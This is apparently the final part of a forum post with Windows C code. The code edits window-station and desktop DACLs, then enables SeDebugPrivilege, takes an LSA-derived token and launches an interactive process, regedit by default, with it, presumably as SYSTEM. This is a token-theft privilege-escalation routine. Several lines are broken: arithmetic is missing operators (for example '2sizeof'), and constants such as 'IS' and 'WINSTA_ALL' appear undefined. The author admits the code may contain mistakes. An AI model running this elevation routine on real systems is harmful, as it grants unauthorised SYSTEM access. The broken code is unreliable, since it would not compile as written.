BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid) { ACCESS_ALLOWED_ACE *pace; ACL_SIZE_INFORMATION aclSizeInfo; BOOL bDaclExist; BOOL bDaclPresent; BOOL bSuccess = FALSE; DWORD dwNewAclSize; DWORD dwSidSize = 0; DWORD dwSdSizeNeeded; PACL pacl; PACL pNewAcl; PSECURITY_DESCRIPTOR psd = NULL; PSECURITY_DESCRIPTOR psdNew = NULL; PVOID pTempAce; SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION; unsigned int i;

__try { // Obtain the DACL for the window station.

if (! GetUserObjectSecurity( hwinsta, &si, psd, dwSidSize, &dwSdSizeNeeded) ) if (GetLastError() == IS) { psd = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded);

if (psd == NULL) __leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded);

if (psdNew == NULL) __leave;

dwSidSize = dwSdSizeNeeded;

if (! GetUserObjectSecurity( hwinsta, &si, psd, dwSidSize, &dwSdSizeNeeded) ) __leave; } else __leave;

// Create a new DACL.

if (! InitializeSecurityDescriptor( psdNew, SECURITY_DESCRIPTOR_REVISION) ) __leave;

// Get the DACL from the security descriptor.

if (! GetSecurityDescriptorDacl( psd, &bDaclPresent, &pacl, &bDaclExist) ) __leave;

// Initialize the ACL.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION)); aclSizeInfo. AclBytesInUse = sizeof(ACL);

// Call only if the DACL is not NULL.

if (pacl != NULL) { // get the file ACL size info if (! GetAclInformation( pacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation) ) __leave; }

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo. AclBytesInUse + (2sizeof(ACCESS_ALLOWED_ACE)) + (2GetLengthSid(psid)) - (2*sizeof(DWORD));

// Allocate memory for the new ACL.

pNewAcl = (PACL)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwNewAclSize);

if (pNewAcl == NULL) __leave;

// Initialize the new DACL.

if (! InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo. AceCount) { for (i=0; i < aclSizeInfo. AceCount; i++) { // Get an ACE. if (! GetAce(pacl, i, &pTempAce)) __leave;

// Add the ACE to the new ACL. if (! AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } }

// Add the first ACE to the window station.

pace = (ACCESS_ALLOWED_ACE *)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD));

if (pace == NULL) __leave;

pace->Header. AceType = ACCESS_ALLOWED_ACE_TYPE; pace->Header. AceFlags = CONTAINER_INHERIT_ACE | INHERIT_ONLY_ACE | OBJECT_INHERIT_ACE; pace->Header. AceSize = sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD); pace->Mask = GENERIC_ACCESS;

if (! CopySid(GetLengthSid(psid), &pace->SidStart, psid)) __leave;

if (! AddAce( pNewAcl, ACL_REVISION, MAXDWORD, (LPVOID)pace, pace->Header. AceSize) ) __leave;

// Add the second ACE to the window station.

pace->Header. AceFlags = NO_PROPAGATE_INHERIT_ACE; pace->Mask = WINSTA_ALL;

if (! AddAce( pNewAcl, ACL_REVISION, MAXDWORD, (LPVOID)pace, pace->Header. AceSize) ) __leave;

// Set a new DACL for the security descriptor.

if (! SetSecurityDescriptorDacl( psdNew, TRUE, pNewAcl, FALSE) ) __leave;

// Set the new security descriptor for the window station.

if (! SetUserObjectSecurity(hwinsta, &si, psdNew)) __leave;

// Indicate success.

bSuccess = TRUE; } __finally { // Free the allocated buffers.

if (pace != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pace);

if (pNewAcl != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew); }

return bSuccess;

}

BOOL AddAceToDesktop(HDESK hdesk, PSID psid) { ACL_SIZE_INFORMATION aclSizeInfo; BOOL bDaclExist; BOOL bDaclPresent; BOOL bSuccess = FALSE; DWORD dwNewAclSize; DWORD dwSidSize = 0; DWORD dwSdSizeNeeded; PACL pacl; PACL pNewAcl; PSECURITY_DESCRIPTOR psd = NULL; PSECURITY_DESCRIPTOR psdNew = NULL; PVOID pTempAce; SECURITY_INFORMATION si = DACL_SECURITY_INFORMATION; unsigned int i;

__try { // Obtain the security descriptor for the desktop object.

if (! GetUserObjectSecurity( hdesk, &si, psd, dwSidSize, &dwSdSizeNeeded)) { if (GetLastError() == IS) { psd = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded );

if (psd == NULL) __leave;

psdNew = (PSECURITY_DESCRIPTOR)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwSdSizeNeeded);

if (psdNew == NULL) __leave;

dwSidSize = dwSdSizeNeeded;

if (! GetUserObjectSecurity( hdesk, &si, psd, dwSidSize, &dwSdSizeNeeded) ) __leave; } else __leave; }

// Create a new security descriptor.

if (! InitializeSecurityDescriptor( psdNew, SECURITY_DESCRIPTOR_REVISION) ) __leave;

// Obtain the DACL from the security descriptor.

if (! GetSecurityDescriptorDacl( psd, &bDaclPresent, &pacl, &bDaclExist) ) __leave;

// Initialize.

ZeroMemory(&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION)); aclSizeInfo. AclBytesInUse = sizeof(ACL);

// Call only if NULL DACL.

if (pacl != NULL) { // Determine the size of the ACL information.

if (! GetAclInformation( pacl, (LPVOID)&aclSizeInfo, sizeof(ACL_SIZE_INFORMATION), AclSizeInformation) ) __leave; }

// Compute the size of the new ACL.

dwNewAclSize = aclSizeInfo. AclBytesInUse + sizeof(ACCESS_ALLOWED_ACE) + GetLengthSid(psid) - sizeof(DWORD);

// Allocate buffer for the new ACL.

pNewAcl = (PACL)HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, dwNewAclSize);

if (pNewAcl == NULL) __leave;

// Initialize the new ACL.

if (! InitializeAcl(pNewAcl, dwNewAclSize, ACL_REVISION)) __leave;

// If DACL is present, copy it to a new DACL.

if (bDaclPresent) { // Copy the ACEs to the new ACL. if (aclSizeInfo. AceCount) { for (i=0; i < aclSizeInfo. AceCount; i++) { // Get an ACE. if (! GetAce(pacl, i, &pTempAce)) __leave;

// Add the ACE to the new ACL. if (! AddAce( pNewAcl, ACL_REVISION, MAXDWORD, pTempAce, ((PACE_HEADER)pTempAce)->AceSize) ) __leave; } } }

// Add ACE to the DACL.

if (! AddAccessAllowedAce( pNewAcl, ACL_REVISION, DESKTOP_ALL, psid) ) __leave;

// Set new DACL to the new security descriptor.

if (! SetSecurityDescriptorDacl( psdNew, TRUE, pNewAcl, FALSE) ) __leave;

// Set the new security descriptor for the desktop object.

if (! SetUserObjectSecurity(hdesk, &si, psdNew)) __leave;

// Indicate success.

bSuccess = TRUE; } __finally { // Free buffers.

if (pNewAcl != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)pNewAcl);

if (psd != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psd);

if (psdNew != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)psdNew); }

return bSuccess; }

int main(int argc, char **argv) {HANDLE hToken = NULL; EnablePrivilege(SE_DEBUG_NAME); hToken = GetLSAToken(); StartInteractiveClientProcess(NULL, NULL, NULL, argc==2? argv[1]:"regedit", hToken); return 0; }

The above two methods are fully functional,but it is recommended to use the second,although the code looks a little long,but very stable. The code is long and messy,which certainly have the wrong place,also please inform. Thank first... ;-) !